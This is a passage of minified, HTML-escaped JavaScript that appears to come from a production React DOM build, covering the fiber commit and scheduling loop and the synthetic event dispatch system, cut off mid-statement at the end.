n=a[l],i=n.getSnapshot;n=n.value;try{if(!Et(i(),n))return!1}catch{return!1}}if(a=t.child,t.subtreeFlags&amp;16384&amp;&amp;a!==null)a.return=t,t=a;else{if(t===e)break;for(;t.sibling===null;){if(t.return===null||t.return===e)return!0;t=t.return}t.sibling.return=t.return,t=t.sibling}}return!0}function Ga(e,t,a,l){t&amp;=~fc,t&amp;=~dl,e.suspendedLanes|=t,e.pingedLanes&amp;=~t,l&amp;&amp;(e.warmLanes|=t),l=e.expirationTimes;for(var n=t;0&lt;n;){var i=31-Nt(n),o=1&lt;&lt;i;l[i]=-1,n&amp;=~o}a!==0&amp;&amp;gr(e,a,t)}function Is(){return(we&amp;6)===0?(Yn(0),!1):!0}function xc(){if(Ne!==null){if(Ue===0)var e=Ne.return;else e=Ne,ua=ll=null,wu(e),Hl=null,Nn=0,e=Ne;for(;e!==null;)kf(e.alternate,e),e=e.return;Ne=null}}function Zl(e,t){var a=e.timeoutHandle;a!==-1&amp;&amp;(e.timeoutHandle=-1,lp(a)),a=e.cancelPendingCommit,a!==null&amp;&amp;(e.cancelPendingCommit=null,a()),ya=0,xc(),Ge=e,Ne=a=sa(e.current,null),Te=t,Ue=0,Ct=null,Ha=!1,Ql=sn(e,t),oc=!1,Xl=zt=fc=dl=qa=Je=0,yt=Ln=null,dc=!1,(t&amp;8)!==0&amp;&amp;(t|=t&amp;32);var l=e.entangledLanes;if(l!==0)for(e=e.entanglements,l&amp;=t;0&lt;l;){var n=31-Nt(l),i=1&lt;&lt;n;t|=e[n],l&amp;=~i}return va=t,gs(),a}function dd(e,t){ye=null,w.H=On,t===Ul||t===As?(t=Ao(),Ue=3):t===bu?(t=Ao(),Ue=4):Ue=t===Ku?8:t!==null&amp;&amp;typeof t==&quot;object&quot;&amp;&amp;typeof t.then==&quot;function&quot;?6:1,Ct=t,Ne===null&amp;&amp;(Je=1,Ys(e,qt(t,e.current)))}function md(){var e=Tt.current;return e===null?!0:(Te&amp;4194048)===Te?Yt===null:(Te&amp;62914560)===Te||(Te&amp;536870912)!==0?e===Yt:!1}function hd(){var e=w.H;return w.H=On,e===null?On:e}function pd(){var e=w.A;return w.A=U0,e}function Ps(){Je=4,Ha||(Te&amp;4194048)!==Te&amp;&amp;Tt.current!==null||(Ql=!0),(qa&amp;134217727)===0&amp;&amp;(dl&amp;134217727)===0||Ge===null||Ga(Ge,Te,zt,!1)}function vc(e,t,a){var l=we;we|=2;var n=hd(),i=pd();(Ge!==e||Te!==t)&amp;&amp;(Ws=null,Zl(e,t)),t=!1;var o=Je;e:do try{if(Ue!==0&amp;&amp;Ne!==null){var h=Ne,j=Ct;switch(Ue){case 8:xc(),o=6;break e;case 3:case 2:case 9:case 6:Tt.current===null&amp;&amp;(t=!0);var C=Ue;if(Ue=0,Ct=null,Jl(e,h,j,C),a&amp;&amp;Ql){o=0;break e}break;default:C=Ue,Ue=0,Ct=null,Jl(e,h,j,C)}}B0(),o=Je;break}catch(M){dd(e,M)}while(!0);return t&amp;&amp;e.shellSuspendCounter++,ua=ll=null,we=l,w.H=n,w.A=i,Ne===null&amp;&amp;(Ge=null,Te=0,gs()),o}function B0(){for(;Ne!==null;)xd(Ne)}function L0(e,t){var a=we;we|=2;var l=hd(),n=pd();Ge!==e||Te!==t?(Ws=null,Fs=jt()+500,Zl(e,t)):Ql=sn(e,t);e:do try{if(Ue!==0&amp;&amp;Ne!==null){t=Ne;var i=Ct;t:switch(Ue){case 1:Ue=0,Ct=null,Jl(e,t,i,1);break;case 2:case 9:if(_o(i)){Ue=0,Ct=null,vd(t);break}t=function(){Ue!==2&amp;&amp;Ue!==9||Ge!==e||(Ue=7),ea(e)},i.then(t,t);break e;case 3:Ue=7;break e;case 4:Ue=5;break e;case 7:_o(i)?(Ue=0,Ct=null,vd(t)):(Ue=0,Ct=null,Jl(e,t,i,7));break;case 5:var o=null;switch(Ne.tag){case 26:o=Ne.memoizedState;case 5:case 27:var h=Ne;if(o?am(o):h.stateNode.complete){Ue=0,Ct=null;var j=h.sibling;if(j!==null)Ne=j;else{var C=h.return;C!==null?(Ne=C,ei(C)):Ne=null}break t}}Ue=0,Ct=null,Jl(e,t,i,5);break;case 6:Ue=0,Ct=null,Jl(e,t,i,6);break;case 8:xc(),Je=6;break e;default:throw Error(r(462))}}G0();break}catch(M){dd(e,M)}while(!0);return ua=ll=null,w.H=l,w.A=n,we=a,Ne!==null?0:(Ge=null,Te=0,gs(),Je)}function G0(){for(;Ne!==null&amp;&amp;!rh();)xd(Ne)}function xd(e){var t=Gf(e.alternate,e,va);e.memoizedProps=e.pendingProps,t===null?ei(e):Ne=t}function vd(e){var t=e,a=t.alternate;switch(t.tag){case 15:case 0:t=Mf(a,t,t.pendingProps,t.type,void 0,Te);break;case 11:t=Mf(a,t,t.pendingProps,t.type.render,t.ref,Te);break;case 5:wu(t);default:kf(a,t),t=Ne=ho(t,va),t=Gf(a,t,va)}e.memoizedProps=e.pendingProps,t===null?ei(e):Ne=t}function Jl(e,t,a,l){ua=ll=null,wu(t),Hl=null,Nn=0;var n=t.return;try{if(C0(e,n,t,a,Te)){Je=1,Ys(e,qt(a,e.current)),Ne=null;return}}catch(i){if(n!==null)throw Ne=n,i;Je=1,Ys(e,qt(a,e.current)),Ne=null;return}t.flags&amp;32768?(Ce||l===1?e=!0:Ql||(Te&amp;536870912)!==0?e=!1:(Ha=e=!0,(l===2||l===9||l===3||l===6)&amp;&amp;(l=Tt.current,l!==null&amp;&amp;l.tag===13&amp;&amp;(l.flags|=16384))),yd(t,e)):ei(t)}function ei(e){var t=e;do{if((t.flags&amp;32768)!==0){yd(t,Ha);return}e=t.return;var a=O0(t.alternate,t,va);if(a!==null){Ne=a;return}if(t=t.sibling,t!==null){Ne=t;return}Ne=t=e}while(t!==null);Je===0&amp;&amp;(Je=5)}function yd(e,t){do{var a=w0(e.alternate,e);if(a!==null){a.flags&amp;=32767,Ne=a;return}if(a=e.return,a!==null&amp;&amp;(a.flags|=32768,a.subtreeFlags=0,a.deletions=null),!t&amp;&amp;(e=e.sibling,e!==null)){Ne=e;return}Ne=e=a}while(e!==null);Je=6,Ne=null}function gd(e,t,a,l,n,i,o,h,j){e.cancelPendingCommit=null;do ti();while(tt!==0);if((we&amp;6)!==0)throw Error(r(327));if(t!==null){if(t===e.current)throw Error(r(177));if(i=t.lanes|t.childLanes,i|=su,gh(e,a,i,o,h,j),e===Ge&amp;&amp;(Ne=Ge=null,Te=0),Vl=t,La=e,ya=a,mc=i,hc=n,cd=l,(t.subtreeFlags&amp;10256)!==0||(t.flags&amp;10256)!==0?(e.callbackNode=null,e.callbackPriority=0,X0(ls,function(){return Ed(),null})):(e.callbackNode=null,e.callbackPriority=0),l=(t.flags&amp;13878)!==0,(t.subtreeFlags&amp;13878)!==0||l){l=w.T,w.T=null,n=k.p,k.p=2,o=we,we|=4;try{D0(e,t,a)}finally{we=o,k.p=n,w.T=l}}tt=1,bd(),jd(),Sd()}}function bd(){if(tt===1){tt=0;var e=La,t=Vl,a=(t.flags&amp;13878)!==0;if((t.subtreeFlags&amp;13878)!==0||a){a=w.T,w.T=null;var l=k.p;k.p=2;var n=we;we|=4;try{ed(t,e);var i=zc,o=no(e.containerInfo),h=i.focusedElem,j=i.selectionRange;if(o!==h&amp;&amp;h&amp;&amp;h.ownerDocument&amp;&amp;lo(h.ownerDocument.documentElement,h)){if(j!==null&amp;&amp;eu(h)){var C=j.start,M=j.end;if(M===void 0&amp;&amp;(M=C),&quot;selectionStart&quot;in h)h.selectionStart=C,h.selectionEnd=Math.min(M,h.value.length);else{var X=h.ownerDocument||document,z=X&amp;&amp;X.defaultView||window;if(z.getSelection){var O=z.getSelection(),ue=h.textContent.length,me=Math.min(j.start,ue),Le=j.end===void 0?me:Math.min(j.end,ue);!O.extend&amp;&amp;me&gt;Le&amp;&amp;(o=Le,Le=me,me=o);var _=ao(h,me),N=ao(h,Le);if(_&amp;&amp;N&amp;&amp;(O.rangeCount!==1||O.anchorNode!==_.node||O.anchorOffset!==_.offset||O.focusNode!==N.node||O.focusOffset!==N.offset)){var T=X.createRange();T.setStart(_.node,_.offset),O.removeAllRanges(),me&gt;Le?(O.addRange(T),O.extend(N.node,N.offset)):(T.setEnd(N.node,N.offset),O.addRange(T))}}}}for(X=[],O=h;O=O.parentNode;)O.nodeType===1&amp;&amp;X.push({element:O,left:O.scrollLeft,top:O.scrollTop});for(typeof h.focus==&quot;function&quot;&amp;&amp;h.focus(),h=0;h&lt;X.length;h++){var L=X[h];L.element.scrollLeft=L.left,L.element.scrollTop=L.top}}mi=!!Cc,zc=Cc=null}finally{we=n,k.p=l,w.T=a}}e.current=t,tt=2}}function jd(){if(tt===2){tt=0;var e=La,t=Vl,a=(t.flags&amp;8772)!==0;if((t.subtreeFlags&amp;8772)!==0||a){a=w.T,w.T=null;var l=k.p;k.p=2;var n=we;we|=4;try{$f(e,t.alternate,t)}finally{we=n,k.p=l,w.T=a}}tt=3}}function Sd(){if(tt===4||tt===3){tt=0,oh();var e=La,t=Vl,a=ya,l=cd;(t.subtreeFlags&amp;10256)!==0||(t.flags&amp;10256)!==0?tt=5:(tt=0,Vl=La=null,Nd(e,e.pendingLanes));var n=e.pendingLanes;if(n===0&amp;&amp;(Ba=null),Ui(a),t=t.stateNode,St&amp;&amp;typeof St.onCommitFiberRoot==&quot;function&quot;)try{St.onCommitFiberRoot(nn,t,void 0,(t.current.flags&amp;128)===128)}catch{}if(l!==null){t=w.T,n=k.p,k.p=2,w.T=null;try{for(var i=e.onRecoverableError,o=0;o&lt;l.length;o++){var h=l[o];i(h.value,{componentStack:h.stack})}}finally{w.T=t,k.p=n}}(ya&amp;3)!==0&amp;&amp;ti(),ea(e),n=e.pendingLanes,(a&amp;261930)!==0&amp;&amp;(n&amp;42)!==0?e===pc?Gn++:(Gn=0,pc=e):Gn=0,Yn(0)}}function Nd(e,t){(e.pooledCacheLanes&amp;=t)===0&amp;&amp;(t=e.pooledCache,t!=null&amp;&amp;(e.pooledCache=null,jn(t)))}function ti(){return bd(),jd(),Sd(),Ed()}function Ed(){if(tt!==5)return!1;var e=La,t=mc;mc=0;var a=Ui(ya),l=w.T,n=k.p;try{k.p=32&gt;a?32:a,w.T=null,a=hc,hc=null;var i=La,o=ya;if(tt=0,Vl=La=null,ya=0,(we&amp;6)!==0)throw Error(r(331));var h=we;if(we|=4,sd(i.current),ad(i,i.current,o,a),we=h,Yn(0,!1),St&amp;&amp;typeof St.onPostCommitFiberRoot==&quot;function&quot;)try{St.onPostCommitFiberRoot(nn,i)}catch{}return!0}finally{k.p=n,w.T=l,Nd(e,t)}}function _d(e,t,a){t=qt(a,t),t=Ju(e.stateNode,t,2),e=wa(e,t,2),e!==null&amp;&amp;(un(e,2),ea(e))}function He(e,t,a){if(e.tag===3)_d(e,e,a);else for(;t!==null;){if(t.tag===3){_d(t,e,a);break}else if(t.tag===1){var l=t.stateNode;if(typeof t.type.getDerivedStateFromError==&quot;function&quot;||typeof l.componentDidCatch==&quot;function&quot;&amp;&amp;(Ba===null||!Ba.has(l))){e=qt(a,e),a=Tf(2),l=wa(t,a,2),l!==null&amp;&amp;(Af(a,l,t,e),un(l,2),ea(l));break}}t=t.return}}function yc(e,t,a){var l=e.pingCache;if(l===null){l=e.pingCache=new H0;var n=new Set;l.set(t,n)}else n=l.get(t),n===void 0&amp;&amp;(n=new Set,l.set(t,n));n.has(a)||(oc=!0,n.add(a),e=Y0.bind(null,e,t,a),t.then(e,e))}function Y0(e,t,a){var l=e.pingCache;l!==null&amp;&amp;l.delete(t),e.pingedLanes|=e.suspendedLanes&amp;a,e.warmLanes&amp;=~a,Ge===e&amp;&amp;(Te&amp;a)===a&amp;&amp;(Je===4||Je===3&amp;&amp;(Te&amp;62914560)===Te&amp;&amp;300&gt;jt()-$s?(we&amp;2)===0&amp;&amp;Zl(e,0):fc|=a,Xl===Te&amp;&amp;(Xl=0)),ea(e)}function Td(e,t){t===0&amp;&amp;(t=yr()),e=el(e,t),e!==null&amp;&amp;(un(e,t),ea(e))}function k0(e){var t=e.memoizedState,a=0;t!==null&amp;&amp;(a=t.retryLane),Td(e,a)}function Q0(e,t){var a=0;switch(e.tag){case 31:case 13:var l=e.stateNode,n=e.memoizedState;n!==null&amp;&amp;(a=n.retryLane);break;case 19:l=e.stateNode;break;case 22:l=e.stateNode._retryCache;break;default:throw Error(r(314))}l!==null&amp;&amp;l.delete(t),Td(e,a)}function X0(e,t){return Oi(e,t)}var ai=null,Kl=null,gc=!1,li=!1,bc=!1,Ya=0;function ea(e){e!==Kl&amp;&amp;e.next===null&amp;&amp;(Kl===null?ai=Kl=e:Kl=Kl.next=e),li=!0,gc||(gc=!0,Z0())}function Yn(e,t){if(!bc&amp;&amp;li){bc=!0;do for(var a=!1,l=ai;l!==null;){if(e!==0){var n=l.pendingLanes;if(n===0)var i=0;else{var o=l.suspendedLanes,h=l.pingedLanes;i=(1&lt;&lt;31-Nt(42|e)+1)-1,i&amp;=n&amp;~(o&amp;~h),i=i&amp;201326741?i&amp;201326741|1:i?i|2:0}i!==0&amp;&amp;(a=!0,Rd(l,i))}else i=Te,i=us(l,l===Ge?i:0,l.cancelPendingCommit!==null||l.timeoutHandle!==-1),(i&amp;3)===0||sn(l,i)||(a=!0,Rd(l,i));l=l.next}while(a);bc=!1}}function V0(){Ad()}function Ad(){li=gc=!1;var e=0;Ya!==0&amp;&amp;ap()&amp;&amp;(e=Ya);for(var t=jt(),a=null,l=ai;l!==null;){var n=l.next,i=Cd(l,t);i===0?(l.next=null,a===null?ai=n:a.next=n,n===null&amp;&amp;(Kl=a)):(a=l,(e!==0||(i&amp;3)!==0)&amp;&amp;(li=!0)),l=n}tt!==0&amp;&amp;tt!==5||Yn(e),Ya!==0&amp;&amp;(Ya=0)}function Cd(e,t){for(var a=e.suspendedLanes,l=e.pingedLanes,n=e.expirationTimes,i=e.pendingLanes&amp;-62914561;0&lt;i;){var o=31-Nt(i),h=1&lt;&lt;o,j=n[o];j===-1?((h&amp;a)===0||(h&amp;l)!==0)&amp;&amp;(n[o]=yh(h,t)):j&lt;=t&amp;&amp;(e.expiredLanes|=h),i&amp;=~h}if(t=Ge,a=Te,a=us(e,e===t?a:0,e.cancelPendingCommit!==null||e.timeoutHandle!==-1),l=e.callbackNode,a===0||e===t&amp;&amp;(Ue===2||Ue===9)||e.cancelPendingCommit!==null)return l!==null&amp;&amp;l!==null&amp;&amp;wi(l),e.callbackNode=null,e.callbackPriority=0;if((a&amp;3)===0||sn(e,a)){if(t=a&amp;-a,t===e.callbackPriority)return t;switch(l!==null&amp;&amp;wi(l),Ui(a)){case 2:case 8:a=xr;break;case 32:a=ls;break;case 268435456:a=vr;break;default:a=ls}return l=zd.bind(null,e),a=Oi(a,l),e.callbackPriority=t,e.callbackNode=a,t}return l!==null&amp;&amp;l!==null&amp;&amp;wi(l),e.callbackPriority=2,e.callbackNode=null,2}function zd(e,t){if(tt!==0&amp;&amp;tt!==5)return e.callbackNode=null,e.callbackPriority=0,null;var a=e.callbackNode;if(ti()&amp;&amp;e.callbackNode!==a)return null;var l=Te;return l=us(e,e===Ge?l:0,e.cancelPendingCommit!==null||e.timeoutHandle!==-1),l===0?null:(od(e,l,t),Cd(e,jt()),e.callbackNode!=null&amp;&amp;e.callbackNode===a?zd.bind(null,e):null)}function Rd(e,t){if(ti())return null;od(e,t,!0)}function Z0(){np(function(){(we&amp;6)!==0?Oi(pr,V0):Ad()})}function jc(){if(Ya===0){var e=Dl;e===0&amp;&amp;(e=ns,ns&lt;&lt;=1,(ns&amp;261888)===0&amp;&amp;(ns=256)),Ya=e}return Ya}function Od(e){return e==null||typeof e==&quot;symbol&quot;||typeof e==&quot;boolean&quot;?null:typeof e==&quot;function&quot;?e:fs(&quot;&quot;+e)}function wd(e,t){var a=t.ownerDocument.createElement(&quot;input&quot;);return a.name=t.name,a.value=t.value,e.id&amp;&amp;a.setAttribute(&quot;form&quot;,e.id),t.parentNode.insertBefore(a,t),e=new FormData(e),a.parentNode.removeChild(a),e}function J0(e,t,a,l,n){if(t===&quot;submit&quot;&amp;&amp;a&amp;&amp;a.stateNode===n){var i=Od((n[mt]||null).action),o=l.submitter;o&amp;&amp;(t=(t=o[mt]||null)?Od(t.formAction):o.getAttribute(&quot;formAction&quot;),t!==null&amp;&amp;(i=t,o=null));var h=new ps(&quot;action&quot;,&quot;action&quot;,null,l,n);e.push({event:h,listeners:[{instance:null,listener:function(){if(l.defaultPrevented){if(Ya!==0){var j=o?wd(n,o):new FormData(n);Yu(a,{pending:!0,data:j,method:n.method,action:i},null,j)}}else typeof i==&quot;function&quot;&amp;&amp;(h.preventDefault(),j=o?wd(n,o):new FormData(n),Yu(a,{pending:!0,data:j,method:n.method,action:i},i,j))},currentTarget:n}]})}}for(var Sc=0;Sc&lt;nu.length;Sc++){var Nc=nu[Sc],K0=Nc.toLowerCase(),$0=Nc[0].toUpperCase()+Nc.slice(1);Vt(K0,&quot;on&quot;+$0)}Vt(uo,&quot;onAnimationEnd&quot;),Vt(co,&quot;onAnimationIteration&quot;),Vt(ro,&quot;onAnimationStart&quot;),Vt(&quot;dblclick&quot;,&quot;onDoubleClick&quot;),Vt(&quot;focusin&quot;,&quot;onFocus&quot;),Vt(&quot;focusout&quot;,&quot;onBlur&quot;),Vt(f0,&quot;onTransitionRun&quot;),Vt(d0,&quot;onTransitionStart&quot;),Vt(m0,&quot;onTransitionCancel&quot;),Vt(oo,&quot;onTransitionEnd&quot;),gl(&quot;onMouseEnter&quot;,[&quot;mouseout&quot;,&quot;mouseover&quot;]),gl(&quot;onMouseLeave&quot;,[&quot;mouseout&quot;,&quot;mouseover&quot;]),gl(&quot;onPointerEnter&quot;,[&quot;pointerout&quot;,&quot;pointerover&quot;]),gl(&quot;onPointerLeave&quot;,[&quot;pointerout&quot;,&quot;pointerover&quot;]),Fa(&quot;onChange&quot;,&quot;change click focusin focusout input keydown keyup selectionchange&quot;.split(&quot; &quot;)),Fa(&quot;onSelect&quot;,&quot;focusout contextmenu dragend focusin keydown keyup mousedown mouseup selectionchange&quot;.split(&quot; &quot;)),Fa(&quot;onBeforeInput&quot;,[&quot;compositionend&quot;,&quot;keypress&quot;,&quot;textInput&quot;,&quot;paste&quot;]),Fa(&quot;onCompositionEnd&quot;,&quot;compositionend focusout keydown keypress keyup mousedown&quot;.split(&quot; &quot;)),Fa(&quot;onCompositionStart&quot;,&quot;compositionstart focusout keydown keypress keyup mousedown&quot;.split(&quot; &quot;)),Fa(&quot;onCompositionUpdate&quot;,&quot;compositionupdate focusout keydown keypress keyup mousedown&quot;.split(&quot; &quot;));var kn=&quot;abort canplay canplaythrough durationchange emptied encrypted ended error loadeddata loadedmetadata loadstart pause play playing progress ratechange resize seeked seeking stalled suspend timeupdate volumechange waiting&quot;.split(&quot; &quot;),F0=new Set(&quot;beforetoggle cancel close invalid load scroll scrollend toggle&quot;.split(&quot; &quot;).concat(kn));function Dd(e,t){t=(t&amp;4)!==0;for(var a=0;a&lt;e.length;a++){var l=e[a],n=l.event;l=l.listeners;e:{var i=void 0;if(t)for(var o=l.length-1;0&lt;=o;o--){var h=l[o],j=h.instance,C=h.currentTarget;if(h=h.listener,j!==i&amp;&amp;n.isPropagationStopped())break e;i=h,n.currentTarget=C;try{i(n)}catch(M){ys(M)}n.currentTarget=null,i=j}else for(o=0;o&lt;l.length;o++){if(h=l[o],j=h.instance,C=h.currentTarget,h=h.listener,j!==i&amp;&amp;n.isPropagationStopped())break e;i=h,n.currentTarget=C;try{i(n)}catch(M){ys(M)}n.currentTarget=null,i=j}}}}function Ee(e,t){var a=t[Hi];a===void 0&amp;&amp;(a=t[Hi]=new Set);var l=e+&quot;__bubble&quot;;a.has(l)||(Md(t,e,2,!1),a.add(l))}function Ec(e,t,a){var l=0;t&amp;&amp;(l|=4),Md(a,e,l,t)}var ni=&quot;_reactListening&quot;+Math.random().toString(36).slice(2);function _c(e){if(!e[ni]){e[ni]=!0,_r.forEach(function(a){a!==&quot;selectionchange&quot;&amp;&amp;(F0.has(a)||Ec(a,!1,e),Ec(a,!0,e))});var t=e.nodeType===9?e:e.ownerDocument;t===null||t[ni]||(t[ni]=!0,Ec(&quot;selectionchange&quot;,!1,t))}}function Md(e,t,a,l){switch(rm(t)){case 2:var n=Ep;break;case 8:n=_p;break;default:n=Gc}a=n.bind(null,t,a,e),n=void 0,!Vi||t!==&quot;touchstart&quot;&amp;&amp;t!==&quot;touchmove&quot;&amp;&amp;t!==&quot;wheel&quot;||(n=!0),l?n!==void 0?e.addEventListener(t,a,{capture:!0,passive:n}):e.addEventListener(t,a,!0):n!==void 0?e.addEventListener(t,a,{passive:n}):e.addEventListener(t,a,!1)}function Tc(e,t,a,l,n){var i=l;if((t&amp;1)===0&amp;&amp;(t&amp;2)===0&amp;&amp;l!==null)e:for(;;){if(l===null)return;var o=l.tag;if(o===3||o===4){var h=l.stateNode.containerInfo;if(h===n)break;if(o===4)for(o=l.return;o!==null;){var j=o.tag;if((j===3||j===4)&amp;&amp;o.stateNode.containerInfo===n)return;o=o.return}for(;h!==null;){if(o=xl(h),o===null)return;if(j=o.tag,j===5||j===6||j===26||j===27){l=i=o;continue e}h=h.parentNode}}l=l.return}qr(function(){var C=i,M=Qi(a),X=[];e:{var z=fo.get(e);if(z!==void 0){var O=ps,ue=e;switch(e){case&quot;keypress&quot;:if(ms(a)===0)break e;case&quot;keydown&quot;:case&quot;keyup&quot;:O=Qh;break;case&quot;focusin&quot;:ue=&quot;focus&quot;,O=$i;break;case&quot;focusout&quot;:ue=&quot;blur&quot;,O=$i;break;case&quot;beforeblur&quot;:case&quot;afterblur&quot;:O=$i;break;case&quot;click&quot;:if(a.button===2)break e;case&quot;auxclick&quot;:case&quot;dblclick&quot;:case&quot;mousedown&quot;:case&quot;mousemove&quot;:case&quot;mouseup&quot;:case&quot;mouseout&quot;:case&quot;mouseover&quot;:case&quot;contextmenu&quot;:O=Gr;break;case&quot;drag&quot;:case&quot;dragend&quot;:case&quot;dragenter&quot;:case&quot;dragexit&quot;:case&quot;dragleave&quot;:case&quot;dragover&quot;:case&quot;dragstart&quot;:case&quot;drop&quot;:O=Oh;break;case&quot;touchcancel&quot;:case&quot;touchend&quot;:case&quot;touchmove&quot;:case&quot;touchstart&quot;:O=Zh;break;case uo:case co:case ro:O=Mh;break;case oo:O=Kh;break;case&quot;scroll&quot;:case&quot;scrollend&quot;:O=zh;break;case&quot;wheel&quot;:O=Fh;break;case&quot;copy&quot;:case&quot;cut&quot;:case&quot;paste&quot;:O=Hh;break;case&quot;gotpointercapture&quot;:case&quot;lostpointercapture&quot;:case&quot;pointercancel&quot;:case&quot;pointerdown&quot;:case&quot;pointermove&quot;:case&quot;pointerout&quot;:case&quot;pointerover&quot;:case&quot;pointerup&quot;:O=kr;break;case&quot;toggle&quot;:case&quot;beforetoggle&quot;:O=Ih}var me=(t&amp;4)!==0,Le=!me&amp;&amp;(e===&quot;scroll&quot;||e===&quot;scrollend&quot;),_=me?z!==null?z+&quot;Capture&quot;:null:z;me=[];for(var N=C,T;N!==null;){var L=N;if(T=L.stateNode,L=L.tag,L!==5&amp;&amp;L!==26&amp;&amp;L!==27||T===null||_===null||(L=on(N,_),L!=null&amp;&amp;me.push(Qn(N,L,T))),Le)break;N=N.return}0&lt;me.length&amp;&amp;(z=new O(z,ue,null,a,M),X.push({event:z,listeners:me}))}}if((t&amp;7)===0){e:{if(z=e===&quot;mouseover&quot;||e===&quot;pointerover&quot;,O=e===&quot;mouseout&quot;||e===&quot;pointerout&quot;,z&amp;&amp;a!==ki&amp;&amp;(ue=a.relatedTarget||a.fromElement)&amp;&amp;(xl(ue)||ue[pl]))break e;if((O||z)&amp;&amp;(z=M.window===M?M:(z=M.ownerDocument)?z.defaultView||z.parentWindow:window,O?(ue=a.relatedTarget||a.toElement,O=C,ue=ue?xl(ue):null,ue!==null&amp;&amp;(Le=p(ue),me=ue.tag,ue!==Le||me!==5&amp;&amp;me!==27&amp;&amp;me!==6)&amp;&amp;(ue=null)):(O=null,ue=C),O!==ue)){if(me=Gr,L=&quot;onMouseLeave&quot;,_=&quot;onMouseEnter&quot;,N=&quot;mouse&quot;,(e===&quot;pointerout&quot;||e===&quot;pointerover&quot;)&amp;&amp;(me=kr,L=&quot;onPointerLeave&quot;,_=&quot;onPointerEnter&quot;,N=&quot;pointer&quot;),Le=O==null?z:rn(O),T=ue==null?z:rn(ue),z=new me(L,N+&quot;leave&quot;,O,a,M),z.target=Le,z.relatedTarget=T,L=null,xl(M)===C&amp;&amp;(me=new me(_,N+&quot;enter&quot;,ue,a,M),me.target=T,me.relatedTarget=Le,L=me),Le=L,O&amp;&amp;ue)t:{for(me=W0,_=O,N=ue,T=0,L=_;L;L=me(L))T++;L=0;for(var de=N;de;de=me(de))L++;for(;0&lt;T-L;)_=me(_),T--;for(;0&lt;L-T;)N=me(N),L--;for(;T--;){if(_===N||N!==null&amp;&amp;_===N.alternate){me=_;break t}_=me(_),N=me(N)}me=null}else me=null;O!==null&amp;&amp;Ud(X,z,O,me,!1),ue!==null&amp;&amp;Le!==null&amp;&amp;Ud(X,Le,ue,me,!0)}}e:{if(z=C?rn(C):window,O=z.nodeName&amp;&amp;z.nodeName.toLowerCase(),O===&quot;select&quot;||O===&quot;input&quot;&amp;&amp;z.type===&quot;file&quot;)var Re=Fr;else if(Kr(z))if(Wr)Re=c0;else{Re=i0;var ce=s0}else O=z.nodeName,!O||O.toLowerCase()!==&quot;input&quot;||z.type!==&quot;checkbox&quot;&amp;&amp;z.type!==&quot;radio&quot;?C&amp;&amp;Yi(C.elementType)&amp;&amp;(Re=Fr):Re=u0;if(Re&amp;&amp;(Re=Re(e,C))){$r(X,Re,a,M);break e}ce&amp;&amp;ce(e,z,C),e===&quot;focusout&quot;&amp;&amp;C&amp;&amp;z.type===&quot;number&quot;&amp;&amp;C.memoizedProps.value!=null&amp;&amp;Gi(z,&quot;number&quot;,z.value)}switch(ce=C?rn(C):window,e){case&quot;focusin&quot;:(Kr(ce)||ce.contentEditable===&quot;true&quot;)&amp;&amp;(_l=ce,tu=C,yn=null);break;case&quot;focusout&quot;:yn=tu=_l=null;break;case&quot;mousedown&quot;:au=!0;break;case&quot;contextmenu&quot;:case&quot;mouseup&quot;:case&quot;dragend&quot;:au=!1,so(X,a,M);break;case&quot;selectionchange&quot;:if(o0)break;case&quot;keydown&quot;:case&quot;keyup&quot;:so(X,a,M)}var be;if(Wi)e:{switch(e){case&quot;compositionstart&quot;:var Ae=&quot;onCompositionStart&quot;;break e;case&quot;compositionend&quot;:Ae=&quot;onCompositionEnd&quot;;break e;case&quot;compositionupdate&quot;:Ae=&quot;onCompositionUpdate&quot;;break e}Ae=void 0}else El?Zr(e,a)&amp;&amp;(Ae=&quot;onCompositionEnd&quot;):e===&quot;keydown&quot;&amp;&amp;a.keyCode===229&amp;&amp;(Ae=&quot;onCompositionStart&quot;);Ae&amp;&amp;(Qr&amp;&amp;a.locale!==&quot;ko&quot;&amp;&amp;(El||Ae!==&quot;onCompositionStart&quot;?Ae===&quot;onCompositionEnd&quot;&amp;&amp;El&amp;&amp;(be=Br()):(_a=M,Zi=&quot;value&quot;in _a?_a.value:_a.textContent,El=!0)),ce=si(C,Ae),0&lt;ce.length&amp;&amp;(Ae=new Yr(Ae,e,null,a,M),X.push({event:Ae,listeners:ce}),be?Ae.data=be:(be=Jr(a),be!==null&amp;&amp;(Ae.data=be)))),(be=e0?t0(e,a):a0(e,a))&amp;&amp;(Ae=si(C,&quot;onBeforeInput&quot;),0&lt;Ae.length&amp;&amp;(ce=new Yr(&quot;onBeforeInput&quot;,&quot;beforeinput&quot;,null,a,M),X.push({event:ce,listeners:Ae}),ce.data=be)),J0(X,e,C,a,M)}Dd(X,t)})}function Qn(e,t,a){return{instance:e,listener:t,currentTarget:a}}function si(e,t){for(var a=t+&quot;Capture&quot;,l=[];e!==null;){var n=e,i=n.stateNode;if(n=n.tag,n!==5&amp;&amp;n!==26&amp;&amp;n!==27||i===null||(n=on(e,a),n!=null&amp;&amp;l.unshift(Qn(e,n,i)),n=on(e,t),n!=null&amp;&amp;l.push(Qn(e,n,i))),e.tag===3)return l;e=e.return}return[]}function W0(e){if(e===null)return null;do e=e.return;while(e&amp;&amp;e.tag!==5&amp;&amp;e.tag!==27);return e||null}function Ud(e,t,a,l,n){for(var i=t._reactName,o=[];a!==null&amp;&amp;a!==l;){var h=a,j=h.alternate,C=h.stateNode;if(h=h.tag,j!==null&amp;&amp;j===l)break;h!==5&amp;&amp;h!==26&amp;&amp;h!==27||C===null||(j=C,n?(C=on(a,i),C!=null&amp;&amp;o.unshift(Qn(a,C,j))):n||(C=on(a,i),C!=null&amp;&amp;o.push(Qn(a,C,j)))),a=a.return}o.length!==0&amp;&amp;e.push({event:t,listeners:o})}var I0=/\r\n?/g,P0=/\u0000|\uFFFD/g;function Hd(e){return(typeof e==&quot;string&quot;?e:&quot;&quot;+e).replace(I0,`
